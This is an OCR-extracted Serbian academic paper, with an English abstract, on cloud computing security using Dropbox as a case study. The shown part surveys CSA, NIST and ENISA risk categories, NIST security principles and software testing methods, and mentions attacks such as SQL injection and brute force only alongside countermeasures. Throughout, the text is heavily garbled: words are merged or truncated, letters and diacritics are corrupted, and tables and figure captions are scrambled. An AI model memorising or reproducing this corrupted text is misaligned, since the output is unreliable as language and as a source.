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Evaluacija bezbednosti veb servisa u Cloud-u sa gtijjom
slucaja: Dropbox

Sazetak: Sa brzim razvojem informacionih tehnologija i rEtavnom upotrebom
interneta pojavila se potreba za tehnologijom kmjaogwtava korisnicima dauvaju i
pristupaju svojim podacima gde god da se nalazkndlegija koja to omogiava jeste
ratunarstvo u oblaku (EnglCloud computingy Usluge zasnovane na oblaku spadaju u
najbrze rastée oblasti u IT industriji, zbog karakteristika k&to su atraktivha usSteda,
pristup&nost, pouzdanost i skalabilnost kako za korisralk® i za pruzaoce usluga.

Bezbednosna pitanja uctmarstvu u oblakuc{oud-y su nedavno postala popularna u
istraziva&koj zajednici, sa fokusom prvenstveno koncentrizanna obezbdévanije
operativnih sistema i virtuelnih masina na kojin& abavljaju usluge. U ovom radu,
uzimamo alternativnu rutu i usreddupemo se na bezbednost podataka u oblaku.
Konkretno, istrazujemo svojstva bezbednosti velvisgrDropbox. Opisujemo izazove
upravljanja podacima u oblastima bezbednog distabja podataka, analize sistema i
forenzike, kao i ispravnosti upita, i opisujemopaee potrebne kako bi ove izazove resili.

Klju ¢ne reti: Cloud computing, bezbednost, analiza, Dropbox

Evaluation of web services in the Cloud with casdugly on
Dropbox

Abstract: With rapid development of information technologydahe indispensable use of
the Internet there is a need for technology thabkss users to store and access their data
wherever they are. Technology that enables thitoisd computing. Services based in the
cloud are the fastest growing areas in the IT itrguslue to the characteristics such as
attractive savings, accessibility, reliability amsdalability for both users and service
providers.

Security issues in cloud computing (the cloud) heaeent have recently become popular
in the research community, with the focus primatciycentrated on securing the operating
system and virtual machine on which to perform gbevices. In this paper, we take an
alternative route and focus on data security in ¢dloaid. Specifically, we investigate
security properties of the web service Dropbox. Wéscribe the challenges of data
management in the areas of secure distributionatd grocessing, system analysis and
forensics, as well as the safety of the query, \maddescribe the effort required to solve
these challenges.

Keywords: Cloud computing, security, analysis, Dropbox
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1 Uvod

1.1 Predmet istrazivanja

Raunarstvo u oblakuHngl. Cloud computing, cloud u nastaykie evolucija
postojeée IT infrastrukture koja obezbgje dugo zamisljenu viziju &anarstva kao usluge.
Pojava cloud tehnologije tokom poslednjih nekoldi@dina je imala zr@jan uticaj na
mnoge aspekte IT industrije.

lako je cloud computing nastao iz postijetehnologija, njegove osnove (isporuka
i raspordivanje usluga) i same karakteristike podiZzu novebkdnosne izazove zbog
nekih problema inkompatibilnosti sa postafe bezbednosnim reSenjima.

Bezbednost jéesta oblast zabrinutosti i za provajdere uslugakarisnike. Stoga,
ona predstavlja hitan prioritet unutar IT indusgtriPrema istraZivanju koje je sprovela
International Data CorporationDC), Microsoft i NIST Engl. National Institute of
Standards and Technolggybezbednost u cloud computing modelu je od pnirogr
znasaja za IT rukovodioce

Istraziv&i sa MIT-a veruju dae "Sledéi veliki izazov informacionih tehnologija
biti da obezbedi oblak". Nacionalni Institut za r&tarde i Tehnologiju, takie istce da
"bezbednosni izazov koji cloud computing predstajdj velik”. ENISA takaie upozorava
na razltite bezbednosne izazove sa kojima se cloud¢a@ lako razna pitanja
bezbednosti i dalje postoje za cloud computingf@atu, razltite neprofitne i vladine
organizacije su ulozile mnogo njihovog napora dazblede izvesne sigurnosne smernice.
U sustini, NIST i CSA obezldeju bezbednosne smernice koje treba slediti uraltard
computing okruzenja.

Jedna od najvgh prepreka koja oteZzava Sire usvajanje cloutumarstva jeste
bezbednost - objektivni i subjektivni rizici pruian pristupa i kontrole usluga u viSe
serverskom cloud okruzenju. IT menadZeri zahtevae nivoe uveravanja da su njihove
usluge i podaci u cloud-u adekvatno zssti jer ovakve arhitekture smanjuju efikasnost
tradicionalnih bezbednosnih alata i okvira.

Lakota sa kojom se migriraju i raspdrgu usluge u cloud okruzenju donosi
zn&ajne prednosti, ali taki® donosi i nedostatak iz bezbednosne perspektioBstici i
pruzaoci usluga cloud computing-a trazéesgarancije integriteta end-to-end nivoa usluga
za usluge zasnovane u oblaku.

Ovaj rad istrazuje izazove u primeni i upravljaoglugama u cloud infrastrukturi
sa bezbednosne ¢tee gledista, i kroz studiju staja web servisa Dropbox dolazi do
potrebnih poboljSanja za bezbedniju platformu rel€enja kako bi se posaa vidljivost i
kontrola u cloud-u.

! http://www.microsoft.com/presspass/press/2010/jahPOBrookingsPR.mspx
2 European Union Agency for Network and Informatiecurityhttp://www.enisa.europa.eu/
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1.2 Doprinos rada

U osnovne doprinose ovog rada spadaju:

Provera bezbednosti same infrastrukture cloud s&rvi
Upoznavanje sa postéjen problemima
Sticanje novih znanja o bezbednosnim problemimadctmmputing-a

Prowtavanje i analiza bezbednosne infrastrukture diéinli komponenti
Dropbox cloud computing platforme

Analiza procesa autentifikacija i Sifrovanja podatlprimenom razditih
penetration testing metoda

Potencijalno unaptenje bezbednosnih provera i zastita podataka

U nastavku rada svi doprinas biti detaljno opisani.

1.3 Struktura rada

U nastavku rada & predstavljenje razlite metode penetration testing-a uz pémo
kojih se testira bezbednost cloud servisa, zatadesteorijske osnove istrazivanja u kojima
¢e biti odralene osnove razitih cloud computing platformi, potom se obazirema
bezbednosne probleme, koji su definisani od strenprofitnih i vladinih organizacija kao
Sto su CSA, NIST i ENISA. Zatim dajemo pregled beiiosnih mehanizama za cloud
computing platforme.

Nakon toga liie predstavljena cloud computing platforma DropBaene osnove
funkcionisanja, protokole koji servis koristi i diza istih. Takae, na krajuce biti
predstavljeni rezultati testiranja bezbednosti tglmim jedne od metoda penetration
testing-a kao i predlog za buduwad.
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2 Pregled u oblasti istrazivanja

2.1 Bezbednosni problemi Cloud computing platforme

Kako bismo mogli identifikovati bezbednosne praobéeunutar Dropbox servisa,
mi prvo moramo identifikovati ranjivosti same clowbmputing platforme. Razite
neprofitne i vladine organizacije su ulozile velitapor kako bi prepoznale i identifikovale
ranjivosti i na osnovu njih su pruzile prepdena reSenja.

U ovom odeljku ¢e biti opisani bezbednosni problemi prepoznati ddhne
neprofitnih organizacija koje predstavljaju vodestrinjake u toj oblasti - Alijansa za
bezbednost u Cloud-uEfQgl. Cloud Security Alliance - C¥$Azatim dve vladine
organizacije, pod nazivom Nacionalni institut zarftarde i TehnologijuEngl. National
Institute of Standard and Technology - NI$Evropska agencija za Bezbednost Mreza i
Informacija €ngl. European Network and Information Security #ge- ENISA

2.1.1 Bezbednosni problemi identifikovani od strane Alijanse za bezbednost u
Cloud-u (CSA)

Alijansa za bezbednost u cloud-u je neprofitnanizacija, osnovana na inicijativu
predstavnika industrije u novembru 2008. godinemenom je dobila podrsku velikog
broja IT kompanija, ukljéuju¢i Google, Microsoft, IBM, Ericsson, itd. Glavni niwtove
organizacije je da obezbedi bezbednost i edukaaijblasti cloud computing-3a.

Alijansa je svoj prvi rad na temuSgcurity Guidance for Critical Area Focus In
Cloud Computing” objavila u aprilu 2009. godine. Rad pruza uvid ezliednosne
probleme cloud computing platforme. Smernica jegheda ucetrnaest delova. Prvi deo
pod nazivom ,Architectural Framewdrkdaje kratak uvid u cloud computing platformu iz
perspektive bezbednosti. Ostalih trinaest deloyzopeljeno u dve kategorije pod nazivom
upravljanje, odnosno rad. Kategorija upravljanjammatra ,probleme strategije i politike
cloud computing platfornfe dok kategorija rad se fokusira na ,t&kti zabrinutost
bezbednosti i njihovu implementaciju unutar arhite# * Logicka konstrukcija
bezbednosnih problema identifikovanih od strane G8Apisane u tabeli 2.1.

.,Governance and Enterprise Risk Managerheste fokusira na sposobnost
organizacije da upravlja rizicima vezanih za clgodputing platformu.

.Legal Issues: Contracts and electronic DiscoVesg bavi pravnim pitanjima u
vezi sa cloud computing platformom.

~compliance and Audit se fokusira na regulatorne i zakonodavne zahtezane
za cloud i na njihov uticaj na politiku unutrasbgzbednosti.

»Information Management and Data Securitye bavi manipulacijama podataka,
kao Sto su kreiranje, kotiénje, deljenje,cuvanje i brisanje, taki® odreuje ko je
odgovoran za poverljivost, integritet i dostupnostiataka.

3 https://cloudsecurityalliance.org/about/
4 http://www.cloudsecurityalliance.org/guidance/csdgu3.0.pdf
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.Portability and Interoperability je zaduZzen za kokiénje potrebnih standarda
interoperabilnosti.

»1raditional Security, Business Continuity and Bita Recovery uspostavlja
tradicionalne bezbednosne funkcije.

.Data Center Operatidnpruza informacije kako bi procenili najboljeg proga
usluga cloud computing platforme.

»Incident Response Notification and Remeddtionam pomaZe da shvatimo
kompleksnonst incidenata.

LApplication Security pruza informacije o bezbednosti tipova servisadia.

~Encryption and Key Manageméntkljucan za bezbedan pristup podacima i
resursima.

.ldentity and Access Manageménse fokusira na zraj identiteta i kontrole
pristupa u cloud okruzenju.

LVirtualization“ govori o bezbednosnim pitanjima vezanim za hardistema i
tehnologiju virtualizacije.

Konano, ,Security as a Servitegovori 0 pitanjima identifikovanim od strane
CSA koji obuhvataju &ege tretih lica od poverenja zbog osiguranja bezbednostifrole
pristupa i kontrole identiteta.

tabela 2:1Bezbednosni problemi po CSA

Strategic and Policy Issues Tactical Issues
1. Governance and Enterprise Risk 6. Traditional Security, Business Continuity
Management and Disaster Recovery

2. Legal Issues: Contracts and Electronic | 7. Data Center Operations
Discovery

3. Compliance and Audit 8. Incident Response, Idatiion and
Remediation

4. Information Management and Data Security 9. Ayagibn Security

10. Encryption and Key Management

11. Identity and Access Management

12. Virtualization

13. Security as a Service
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2.1.2 Bezbednosni problemi identifikovani od strane Nacioalnog instituta za
Standarde i Tehnologiju (NIST)

Nacionalni institut za Standarde i Tehnologiju jdina ogranizacija koja je
locirana u Sjedinjenim Ametkim Drzavama, koja konstantno doprinosi bezbedradstid
computing platforme. Bezbednosni problemi koje Ni8&ntifikuje su fokusirani na javne
provajdere cloud usluga. Za razliku od modela bdabsnih problema drugih
organizacija, NIST ne pravi generalnu Klasifikacgtoblema kao Sto su ogranizacioni,
politicki ili legalni. Logicka konstrukcija bezbednosnih problema identifikokiaod strane
NIST su opisane u tabeli 2.

tabela 2:2 Bezbednosni problemi po NIST

. Governance

. Compliance

. Trust

. Architecture

. Identity and Access Management

. Software Isolation

. Data Protection

. Availability

©| O Nl Of O] | W| N|

. Incident Response

.Governancé fokusira se na politike i procedure potrebne kigeogranizacione
uprave postovati. Takie, ono podiZe pitanje rizika bezbednosti usluga kojuza cloud
computing i preporéuje kori€enje alata za reviziju bezbednosti i procenu rizika

~compliancé diskutuje o problemima lokaciji podataka, privatinagkontrolama
bezbednosti i kontroli zapisa.

Sledéi nivo ,Trust’ razmatra potencijalne rizike oko zadrzavanja viisa nad
podacima i intelektualnim pravima.

LArchitecturé’ se odnosi na probleme softverskih sistema kojggocloud.

.dentity and Access Manageméntse odnosi na verifikaciju identita,
autentifikaciju i mehanizme kontrole pristupa.

~S0ftware Isolatioh upozorava na pretnje kao Sto su vektori napada.

.Data Protectioh razmatra privatnost i izolaciju podataka, jer podazliitin
korisnika se nalaze u istom data centru.

LAvailability* govori o pretnjama koje imaju negativan uticaj n@surse
organizacije. Otkazivanje opreme, prirodne Kkatéstreu samo deo pretnji koje se
spominju. Kona&no, ,Incident Responsese fokusira na reaktivhe protivmere ucsiul
napada i pretniji.
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2.1.3 Bezbednosni problemi identifikovani od strane Evrogke agencije za
Bezbednost MreZa i Informacija (ENISA)

Evropska agencija za bezbednost Mreza i Informagg joS jedna vladina
organizacija koje za cilj ima da unapredi bezbetolmid computing platforme. ENISA je
objavila svoj prvi dokumentCGloud Computing Benefit, Risk and Recommendation fo
Information Security”u novembru 2009. Rad zapaje kljucnim beneficijama cloud
computing platformi. Ostatak dokumenta razmatrebbdmosne rizike koji su grupisani u
tri kategorije. Rizici svrstani po kategorijamarsegu videti u tabeli ispod.

tabela 2:3Bezbednosni problemi po ENISA

Policy and organizational Technical issue Legal issue
issue
Lock-in Resource exhaustion Subpoen and e-discovery
Loss of governance Isolation failure Risk from opan of
jurisdiction
Compliance challenges Cloud provider maliciou3ata Protection Risk
insider

Loss of business repuratiorManagement InterfaceData Protection Risk
due to tenant activities compromise
Cloud service termination grintercepting data on transit
failure
Cloud provider acquisition Data leakage on

up/download, intra cloud

Insecure or ineffective
deletion of data

Distributed Denial of Service

Economic Denial of Service

Loss of encryption keys

Undertaking malicious probes
or scan

Compromise service engine

Conflict between custome
hardening
procedure and cloud
environment

=

Organizacioni problemi pokrivaju Sest ra&#ih problema unutar cloud computing
platforme. ,Lock-irf govori o problemu prenosivnosti podataka i uslugasmisiu
usvajanja modela cloud servisa. Zatim svi ostatibfgmi u toj kategoriji obuhvataju
prenosivnost i njegov uticaj na sredstva organjeadeike i ranjivosti.

»rechnical issu€s paotinju sa listom trenutnih pretnji cloud computing-Bleki od
problema jesu dostupnost zbog iscrpljenosti resursia&ivanje usluga, mrezne pretnje i
nedostatak dovoljnog napora od strane pot@sia obezbedi okruzenje.

.Legal issue$ pruza informacije o tome kako da se oragnizaaystavi prilikom sudskih
poziva. Ostala pitanja koja su razmatrana u ovoeljkul su usmerena na manipulaciju
podacima, postovanje zastite podataka i na riziguatka intelektualne svojine.

-9-
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2.2 NIST 33 Bezbednosni principi

U junu 2001, Nacionalni Institut za Standarde ihA@ogiju Engl. National
Institute of Standards and Technology - NISTnjena laboratorija Informacionih
Tehnologija Engl. Information Technology Laboratory -I}Lobjavili su NIST Special
Publication 800-27 pod nazivom “Engineering Pritespfor Information Technology
Security (EP-ITS),” sa cillem da pomogne u sigurndi@ajnu, razvoju, raspate/anju i
Zzivotnom ciklusu informacionih sistema. Godine 20@4daiena je revizija dokumenta
(Revision &). On trenutno predstavlja 33 bezbednosna pringipeakori&enje pginje u
fazi projektovanja informacionog sistema ili aptika i nastavlja se njihova upotreba sve
do penzionisanja sistema i njegovog bezbednog njada

Neki od principa koji se mogu najviSe primenitilmezbednost cloud sistema jesu:
= Princip 1 - Uspostaviti valjanu bezbednosnu palitikao “temel;j” dizajna

= Princip 2 - Postupati tako da sigurnost bude sastd®o celokupnog dizajna
sistema

= Princip 3 - Jasno razgrditi fizicke i logikke granice bezbednosti kojim
upravljaju povezane bezbednosne politike

= Princip 6 - Pretpostaviti da su ekspertni sisteetigzbedni

= Princip 7 - ldentifikovati potencijalne kompromigameiu smanjenja rizika i
poveanih troSkova, kao i opadanja efikasnosti u drugparativnim aspektima

= Princip 16 - Sprovoditi slojevitu bezbednost; Oledib da ne postoji jedna
tatka ugrozenosti

= Princip 20 - Izolovati sisteme javnog pristupa oidi &ih resursa za rad sistema
(npr. podaci, procesi, itd.)

= Princip 21 - Koristiti grarine mehanizme za razdvajanjéuimarskih sistema i
mrezne infrastrukture

= Princip 25 - Umanijiti sistemske elemente kako bsinverovalo
= Princip 26 - Sprovoditi princip najmanje privilegij

= Princip 32 - Autentifikovati korisnika i procese Km bi se obezbedila
odgovarajda kontrola pristupa unutar i izvan granica domena

= Princip 33 - Koristiti jedinstveni identitet kakoi kse utvrdila krivEéna
odgovornost

® Nist 33 principi:http://csrc.nist.gov/publications/nistpubs/800-23RB00-27-RevA.pdf
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2.3 Bezbedno testiranje Cloud softvera

Testiranje softvera cloud sistema obuhvata nizvaksti. Svaka aktivnost je
zasnovana na formalnom standardu ili metodologijdddaje jedinstvenu vrednost
ukupnom procesu testiranja sigurnosti. Organizap&no bira aktivnosti na osnovu
brojnih faktora, ukljduju¢i zahteve bezbednosti cloud softvera i na osnogpaiazivih
resursa.

Analiza rezultata ispitivanjéine osnovu za procenu rizika bezbednosti informaacij
u cloud-u i za odabir sredstva za sanaciju. Stalindarmetodologija, kao Sto je
Medunarodna organizacija za standardizacifangdl. International Organization for
Standarization - I1SP9126 Standard for Software Engineering/Producal®d, Systems
Security Engineering Capability Maturity Model (SEBM)’ i Open Source Security
Testing Methodology Manual (OSSTMRM)pruZaju dodatne smernice za evaluaciju
bezbednosti softvera i umanjivanje posledica intiae PoSto je softver modifikovan,
testiranje regresijomefg. regression testipgobezbduje sigurnost da na funkcionalnost
originalnog softvera i njegove bezbednosne kargtiee nije negativno uticano.

2.3.1 Testiranje za uverenje kvaliteta bezbednosti

Testiranje softvera cloud-a ima nekoliko zajeé#i stvari koje ga povezuju sa
testiranjem kvaliteta bezbednosti. Na primer, igpeaverzija softvera treba uvek biti
testirana. Méutim, sigurno testiranje softvera tale@ mora meriti kvalitet bezbednosnih
svojstava softvera. Na primer, softver bi trebadobadide testiran kako bi se osiguralo da
iIspunjava svoje funkcionalne specifikacije, a neath nesSto drugo. Testiranje softvera ne
radi niSta drugosem toga -to jest, ne sadrzi nikakenamerne funkcionalnosti- to je
merilo kvaliteta bezbednosti.

Postoji nedostatak dogovorenih definicija za ketlisoftvera, ali je moge
pozivati se na bezbednost softvera preko njegoviibuda. Jedna renomirana
karakterizacija kvaliteta softvera jeste ISO 91f6hdard. ISO 9126 standard karakterizira
kvalitet softvera sa 6 glavnih atributa i 21 podclderistika, kao Sto je prikazano na
sled€oj slici :

®ISO 9126nttp://en.wikipedia.org/wiki/ISO/IEC_9126
"http://csrc.nist.gov/groups/SMA/fasp/documentstiecit_response/SSAIRBSP/SSECMMv2Final.pdf
80STMM 2.1http://isecom.securenetltd.com/osstmm.en.2.1.pdf
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slika 2:1 ISO 9126 Standardi kvaliteta softvera - Bnkcionalnost

Atributi softvera koji se odnose
Prikladnost na prisustvo i prikladnost seta
funkcija za specifi¢ne zadatke

Atributi softvera koji se odnose
obezbedivanje prava

Atributi softvera koji se odnose
na njegovu sposobnost
interakcije sa specificiranim
sistemima

Atributi softvera koji ¢ine da se
softver da se pridrzava
standarda ili konvencijama ili
propisima u zakonima

Atributi softvera koji se odnose
na njegovu sposobnost da

Preciznost

Interoperabilnost

Uskladenost

Funkcionalnost

Bezbednost spreéi neovla$ceni pristup, da li
sluéajan ili nameran,
programima ili podacima
Atributi softvera koji se odnose
Zrelost na uéestalost neuspeha grefkom

u softveru

Atributi softvera koji se odnose
. . na njegovu sposobnost da se
Tolerancija na greske .. .. ,
odr7i odredeni nivo performansi
u sluéaju softverskih kvarova ili

povrede odredenog interfejsa

Pouzdanost

Atributi softvera koji se odnose
na njegovu sposobnost da
Vraéanje u prvobitno stanie ponovo uspln;lastavi sVoj nivo
performansi i sposobnost da
spasi podatke direktno
pogodene u sluéaju kvara u §to
kracem roku

slika 2:2 1ISO 9126 Standardi kvaliteta softvera - Buzdanost
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slika 2:3 ISO 9126 Standardi kvaliteta softvera - \gotrebljivost, OdrZivost i Portabilnost

Atributi softvera koji se odnose
na napor korisnika za
Razumljivost prepoznavanje logitkog
koncepta injegovu
primenljivost

Atributi softvera koji se odnose
Lakoc¢a upotrebe na napor korisnika za ucenje

njene upotrebe

Atributi softvera koji se odnose
Operativnost na napor korisnika za rad i
kontrolu rada

Upotrebljivost

Atributi softvera koji se odnose
, na napor potreban za dijagnozu
Analiznost
oS nedostataka ili uzroka neuspeha
ili za identifikaciju delova koji

trebaju biti modifikovani

Atributi softvera koji se odnose
Promenljivost na naport potreban za
modifikaciju, uklanjanje greSaka
ili promene radne sredine

Odrzivost

Atributi softvera koji se odnose
na rizik od neocekivanog efekta
modifikacije

Stabilnost

Atribut softvera koji se odnosi
na napor potreban za validiranje
modifikovanog softvera

Testabilnost

Atributi softvera koji se odnose
Prilacodivost nal moguénos.t njeglov?-'llag

- prilagodavanja razli¢itim
okruZenjima bez primene drugih
radnji ili sredstva (modifikacija)
Atributi softvera koji se odnose
na napor potreban za instalaciju

Instalabilnost
softvera u odredenom

okruZenju

Atributi softvera koji ga
pridrzavaju standardima i
konvencijama koje se odnose
na portabilnost

Atributi softvera koji se odnose
na mogucnost njegove upotrebe

Portabilnost

Uskladenost

Zamenljivost
! u okruZenju u kome nije

namenjen da se koristi
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2.3.2 Testiranje uskladenosti

Nacionalni Institut za Standarde i Tehnologiju (W)Snavodi da "aktivnosti
ispitivanja usaglasenosti procenjuju da li softkepmoizvod ispunjava zahteve odene
specifijacije ili standardd" Ovi standardi su obmno dobro zastupljeni i Siroko prihéeni,
kao Sto su oni iz M&unarodne Ogranizacije za Standardizaciju (ISO){itina za
InZenjera Elektronike i Elektrotehnike (IEE) ili @tkane Ametikog Nacionalnog Instituta
za Standarde (NIST). Oni predstavljaju opSte pkibud'referentni sisteméije preporuke
su dovoljno definisane i testirane pouzdanim metwleOni se koriste za procenu da li su
u softverski proizvod implementirani spetifi zahtevi koje propisuje standard ili
specifikacija.

Metodologije testiranja uskdanosti koje se primenjuju na cloud servise su
razvijene za interfejse operativnih sistema, korgogku grafiku, dokumentovanu razmenu
formata, rdunarske mreze, i procesore programskih jezik&indemetodologija testiranja
koristi test scenario (npr. apstraktne testove, tesinje, test sléajeve itd.), koji sami
moraju biti testirani.

Standardizacija je vazna komponenta testiranjalaSagosti. To okdno obuhvata
razvijanje funkcionalnog opisa i specifikacije jezj kreiranje metodologije testiranja i
"testiranje" test scenarija.

Glavna prednost testiranja usaglasenosti je daSalek interoperabilnost izrie
razlicitih softverskih proizvoda cloud-a tako Sto pdiyje da svaki softverski proizvod
ispunjava dogovorene standarde ili specifikacije.

Jedna vrsta ispitivanja usaglaSenosti, testirange bazi protokola, koristi
komunikacioni protokol aplikacije kao direktnu osnaa testiranje aplikacije. Ovaj metod
je koristan, za aplikacije bazirane na cloud-u.tifasje protokola je od posebne vaznosti
za testiranje Veb aplikacija, jer veb protokole guw@va najlaksi nén daljinskim
napadaima da pristupe takvim aplikacijarfa

° Tassey, G., “The Economic Impacts of Inadequatestructure for Software Testing,” National Insté

of Standards and Technology, Technical Report, 2002

9 sun, X., Feng, C., Shen, Y., and Lombardi, Fotdtol Conformance Testing Using Unique Input/Otitpu
Sequences(Hackensack, NJ: World Scientific Puiniiso., 1997).
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2.3.3 Testiranje funkcionalnosti

U testiranju funkcionalnosti, aplikacija bazirare e¢loud-u je testirana u toku rada
kako bi se utvrdilo da li je u skladu sa svojimKaimnalnim zahtevima odnosno uslovima.
Zahtevi koji govore kako aplikacija treba da furdkise u speci€inoj situaciji se nazivaju
pozitivnim zahtevima. Tigno pozitivni zahtev je mapiran na odeai softverski artefakt
koji treba da sprovede taj uslov. Ovo pruza ntogst za préenje uslova i njegove
implementacije i obaveStava ispitézakoji artefakt da testira kako bi proverideivanu
funkcionalnost.

Primer pozitivnog uslova je "aplikacija bi trebatta zaklji¢a korisntéki nalog
nakon tri neuspela pokuSaja prijavljivanja”. Isgi moze potvrditi ¢ekivanu
funkcionalnost (lockout u ovom glaju) pokuSavajti da se prijavi tri puta sa istim
korisnickim nalogom ali netgnhom lozinkom. Ovaj tip testa se moze lako autoroats sa
alatom za testiranje funkcionalnosti, kao $to jerepource Canoo WebT&Sst

Testiranje funkcionalnosti tade ukljuwuje negativne uslove, kojima se precizira
Sta softver treba da ne radi. Primer negativhogvasje "cloud aplikacija ne bi trebalo da
omogui da se podaci obelodane”. Ova vrsta uslova je mZdestiranje jer &kivano
ponasSanje aplikacije nije implementirano u speaijabrtefakt. Pravilno testiranje ovog
uslova bi zahtevalo od ispitiva da predvidi svaku anomaliju ulaza, njegovo stamgeok
I efekat. Umesto toga, testiranje treba da bud#&enro analizom rizika i modelovanjem
moguwih pretnji. Ovo omogéava da se negativni uslov dokumentuje kao faktor za
ublazavanje pretnji. Koraci koji rezimiraju ovajigiup mogu se videti u Open Web
Application Security Project (OWASP) Testing Guiderirucniku.

Prvo, bezbednosni zahtevi su dokumentovani iz pétsf@ pretnje i kontra mere :
« Sifrovati podatke za autentifikaciju u skladistanzitu kako bi se ublaZio rizik
objavljivanja informacija i napada na protokol antiikacije

» Sifrovati Sifre kori§enjem nerevezbilne enkripcije kao $to je heSirargalt-a
za spréavanje napadom kotiénjem reénika. Salt se odnosi na umetanje
nasuménog bita u algoritam koji se koristi za generisakijeica kako bi se
ublazio rizik od napada kotig8njem reénika

= Iskljuciti (Lock out)korisnike nakon postizanja praga pogresSnog prijaatja i
sprovesti kompleksnost lozinki radi ublazavanjikezod brute-forc€ napada

= Prikaz genetikih poruka greski nakon validacije akreditiva zatdilaZzavanja

rizika od prikupljanja "zetve" korisnika
= Zajedniki autentifikovati klijenta i server kako bi se sgip MITM ** napad

= Potencijalno unaptenje bezbednosnih provera i zasStita podataka

' http://webtest.canoo.com

12 \www.owasp.org/index.php/Category:OWASP_Testing_&bj

'3 hapad uzastopnim pokusavanjem pizgga Sifre

* man-in-the-middle napad u kome napaesreta komunikaciju iznde dva sistema
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Artefakti proizvedeni u procesu modelovanja rizikap Sto su dijagrani opasnosti
(threat treed’) ili biblioteke napada, mogu biti kotiéne za smisljanje potencijalnih
negativnih scenarija.

Dijagram opasnostie zamisliti root napad (npr. nap&dai mogao d&ita poruke
drugih korisnika servisa) i identifikovati raglie slabosti bezbednosnih kontrola (npr.
validacija podataka je neuspesna zbog SQL injetti@mjivosti) i neophodne protivmere
(npr. sprovodi validaciju podataka i upita) koje goobiti testirane na efikasnot u
ublaZzavanju takvih napada.

Tipi¢no, testiranje funkcionalnosti se koristi za testje funkcionalnosti
sprovedenih karakteristika ili nakon Sto je zavSeona karakteristika softvera. Nigtim,
zasStita od potencijalnog napada ili ranjivosti zaweid toga da li je test stvoren za alinei
slwaj upotrebe, ako nije onda broj staza izvrSenjaftvaruce ostati neproverena. Dakle,
cak i ako je provera funkcionalnosti sprovedenavearaspolozive slkiajeve upotrebe, to
nije garancija da je softver bez potencijalnih gkes

Logicko testiranjeje vrsta testiranja funkcionalnosti koja podrazuee
obezbdivanje da se poslovna logika zasniva na ispravimetppstavkama. Biznis logika
je kod koji zadovoljava poslovnu svrhu cloud sistemona se sastoji od pravila poslovanja
i tokova posla:

= Poslovna pravila koja izrazavaju poslovnu politiku

= Tokovi posla na osnovu zadataka prenosa dokuméngiadataka od jednog
ucesnika (lice ili softverski sistem) do drugog

Mane poslovne logike su aimo speciftne za aplikaciju koja se testira, i teSko je
otkriti. Automatizovani alatéine oS posao otkrivanja latkih nedostataka jer ne razumeju
kontekst odluka. Dakle, otkrivanje léggih mana je oldino manuelni proces koji obavlja
ljudski ispitivar.

Kada se traze logki nedostaci ili mane, ispitivgpatinje razmatranjem pravila za
poslovne funkcije koje pruza cloud aplikacija. Ralgpitiva trazi ikakva ograrenja na
ponasSanje ljudi. Tada aplikacija moze da se tekéika bi se potvrdilo da primenjuje
pravila. Klas¢an primer mane poslovne logike je modifikacija capatrebom e-komerc
aplikacija tokom rane upotrebe interneta.

Postavljanje cene proizvoda na e-komerc sajtu kgativan broj, moze dovesti do
toga da se iznos knjizi napadia Protivmera ovoj ranjivosti je da se sprovodiipeaa
validacija cene, tako da aplikacija dozvoljava saopitivhe brojeve u oddenom
numertkom opsegu. Naravno, nikada ne treba da aplikpdijevati i obradi podatke od
klijenta od koga se ne zahteva koré&miunos na prvom mestu.

'3 konceptualni dijagram koji pokazuje kako neki msspodatak ili sistem moZe biti napadnut
'® proces ubacivanja "ubrizgavanja" posebnog kodazu lpodataka radi dobijanja privilegija nad bazom
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2.3.4 Testiranje performansi

U izvestajd’ NIST navodi da "ono &to razlikuje testire perfonsiaod testiranja
funkcionalnosti je oblik eksperimentalnog rezultafastiranje funkcionalnosti daje da ili
ne presudu, dok test performansi da jedkali”. Testiranje performansi meri koliko dobro
se cloud sistem izvrSava u skladu sa svojim potmebimemenom odziva, propusnom
maoéi, procesorskom upotrebom i drugim merljivim osa@rima u radu. Kvantitet koji je
rezultat testa moze naknadno da se svede na dw ipresudu, ali u patenju sa
zahtevanim performansama.

Testiranje performansi je ta#e poznat po drugim imenima i/ili se vezuje sa
drugim aktivnostima, kao Sto su stres testiraggtjranje kapaciteta, testiranje optenga,
testiranje j&ine i testiranje zahtevanim performansi. Ove t##i aktivnosti koje se
obavljaju prilikom testiranja performansi imajulgrzno isti cilj : "testiranje cloud sistema
pod stvarnim ili simuliranim opte¢enjem™®,

Tipi¢no, testiranje performansi se vrSi kasno u Zivotrokiusu softvera kada je
softver v& razvijen u potpunosti. Da bi se dobila, preciznarenja, cloud sistem je
testiran u okruzenju u kom se simulira operativiigudenje. Ovo se mozZe pdsti
stvaranjem kopije proizvodne infrastrukture i simajuéi tipi¢ne uslove poslovanja.

Glavna prednost testiranja performansi je da je&rmbidizajniran tako da gura
granice sistema tokom duzeg vremenskog perioda} @bl testiranja se obno koristi
da otkrije jedinstvene probleme ne otkrivene tokdestiranja uskldenosti ili
interoperabilnosti. Pored toga, testiranje perfarsnase ohino koristi kako bi pruzio
konkurentna pokienja sa ostalim sistemima. Na primer, ovi testevksriste da uporede
performanse sistema sa ostalim softverskim proizwagre kupovine samog sistema.

Postupci testiranja performansi obedije korake za utdivanje sposobnosti koje
cloud sistem mora pruziti kako bi ispravno funkdgao, naréito kada je u blizini ili izvan
granica svojih navedenih ili trazenih maégosti. Navedeni pokazatelji su ¢bo navedeni
u smislu vremena koje je potrebno da sistem zaep&raciju. U idealnom staju,
testiranje performansi se sprovodi upotrebom sofika elementa protiv standardnih
skupova podataka ili scenarija, poznatih kao refeigodaci.

Mere i zahtevi performansi su kvantitativni, St@adrda se sastoje od brojeva koji
se mogu meriti i potvrditi racionalnim eksperimemdi. Specifikacija performansi se sastoji
od seta navedenih brojeva koji se mogu zamenitzrearenim brojevima¢esto u obliku
raspodele verovatide. Brojevi izmereni mogu biti manji od, viSi od, jgdnaki navedenim
vrednostima. Ako su manji od, proizvod nije ispungove, ako su brojevi ¢eili jednaki
navedenim onda je proizvod ispunio uslove i protagtove. Svaka specifikacijaioka je
varijacija ovih jednostavnih ideja. Udldjene metrike koje se koriste u testiranju
performansi obuhvataju slege:

7 http://vote.nist.gov/vvsg-report.htm
8 Tassey, G., “The Economic Impacts of Inadequéisiructure for Software Testing"
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= Propusnhu me - stopa po kojoj sistem obtaje transakcije, obno se meri u
bajtovima po sekundi

= Kasnjenje obrade vreme potrebno za obradu transakcija, meri sekundama

= Optere@‘enost- stopa po kojoj se transakcije predaju softvemskmoizvodu,
meri se u dolasku transakcija u sekundi

